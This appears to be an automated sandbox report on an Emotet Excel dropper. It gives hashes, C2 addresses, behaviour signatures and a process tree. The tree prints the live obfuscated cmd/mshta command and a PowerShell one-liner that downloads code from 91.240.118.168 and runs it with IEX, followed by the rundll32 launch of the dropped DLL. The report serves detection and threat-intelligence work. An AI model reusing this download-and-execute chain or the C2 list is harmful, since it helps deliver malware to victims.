emotet | 64b46ace0fd6708a2c0969a47fb2b1e7d6b360eef08f8afab735abbe5c3cc948

General

Target

2022-1-28-ad7f6746586cdff93486e5f63c1912f7.xls
Size

47KB
MD5

ad7f6746586cdff93486e5f63c1912f7
SHA1

f1bb883168498f4abdae014221fd632d8a9605a0
SHA256

64b46ace0fd6708a2c0969a47fb2b1e7d6b360eef08f8afab735abbe5c3cc948
SHA512

5901ac7e7e7b0f5bd9da1ac9cf93ac2f377109d9ff4828f8b3585c92949468b3d80325497440d6568fefdf871dd854490e7472f342f7a3e8e34acbcf3b320fe0

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	884	2132	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

29 4072 mshta.exe
36 1400 powershell.exe
38 1400 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3124 rundll32.exe
632 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Lorclbpequnnwh\kqtm.ark rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3392 4072 WerFault.exe mshta.exe

flow	pid	process
29	4072	mshta.exe
36	1400	powershell.exe
38	1400	powershell.exe

pid	process
3124	rundll32.exe
632	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Lorclbpequnnwh\kqtm.ark	rundll32.exe

pid	pid_target	process	target process
3392	4072	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2132 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
1400	powershell.exe
1400	powershell.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
3392	WerFault.exe
1400	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1400 powershell.exe
Token: SeDebugPrivilege 3392 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	3392	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE
2132	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exe

description	pid	process	target process
PID 2132 wrote to memory of 884	2132	EXCEL.EXE	CMD.EXE
PID 2132 wrote to memory of 884	2132	EXCEL.EXE	CMD.EXE
PID 884 wrote to memory of 4072	884	CMD.EXE	mshta.exe
PID 884 wrote to memory of 4072	884	CMD.EXE	mshta.exe
PID 4072 wrote to memory of 1400	4072	mshta.exe	powershell.exe
PID 4072 wrote to memory of 1400	4072	mshta.exe	powershell.exe
PID 1400 wrote to memory of 440	1400	powershell.exe	cmd.exe
PID 1400 wrote to memory of 440	1400	powershell.exe	cmd.exe
PID 440 wrote to memory of 3124	440	cmd.exe	rundll32.exe
PID 440 wrote to memory of 3124	440	cmd.exe	rundll32.exe
PID 440 wrote to memory of 3124	440	cmd.exe	rundll32.exe
PID 3124 wrote to memory of 632	3124	rundll32.exe	rundll32.exe
PID 3124 wrote to memory of 632	3124	rundll32.exe	rundll32.exe
PID 3124 wrote to memory of 632	3124	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-ad7f6746586cdff93486e5f63c1912f7.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2132

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:884

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1400

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:440

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3124

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
PID:632

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4072 -s 1892
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3392

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
memory/632-591-0x0000000003FB0000-0x0000000003FD5000-memory.dmp

Filesize
148KB

Download
memory/632-596-0x00000000046D0000-0x00000000046F5000-memory.dmp

Filesize
148KB

Download
memory/632-594-0x0000000004500000-0x0000000004525000-memory.dmp

Filesize
148KB

Download
memory/632-598-0x0000000004830000-0x0000000004855000-memory.dmp

Filesize
148KB

Download
memory/632-600-0x0000000004890000-0x00000000048B5000-memory.dmp

Filesize
148KB

Download
memory/632-602-0x00000000048F0000-0x0000000004915000-memory.dmp

Filesize
148KB

Download
memory/1400-274-0x0000027EACC40000-0x0000027EACC62000-memory.dmp

Filesize
136KB

Download
memory/1400-309-0x0000027EC4DF0000-0x0000027EC4E2C000-memory.dmp

Filesize
240KB

Download
memory/1400-336-0x0000027EC54A0000-0x0000027EC5516000-memory.dmp

Filesize
472KB

Download
memory/1400-376-0x0000027EACCF0000-0x0000027EC4E90000-memory.dmp

Filesize
385.6MB

Download
memory/1400-448-0x0000027EACCF0000-0x0000027EC4E90000-memory.dmp

Filesize
385.6MB

Download
memory/1400-515-0x0000027EACCF0000-0x0000027EC4E90000-memory.dmp

Filesize
385.6MB

Download
memory/2132-128-0x00007FF906CA0000-0x00007FF906CB0000-memory.dmp

Filesize
64KB

Download
memory/2132-129-0x00007FF906CA0000-0x00007FF906CB0000-memory.dmp

Filesize
64KB

Download
memory/2132-115-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

Filesize
64KB

Download
memory/2132-121-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

Filesize
64KB

Download
memory/2132-118-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

Filesize
64KB

Download
memory/2132-117-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

Filesize
64KB

Download
memory/2132-116-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

Filesize
64KB

Download
memory/3124-586-0x00000000043F0000-0x0000000004415000-memory.dmp

Filesize
148KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads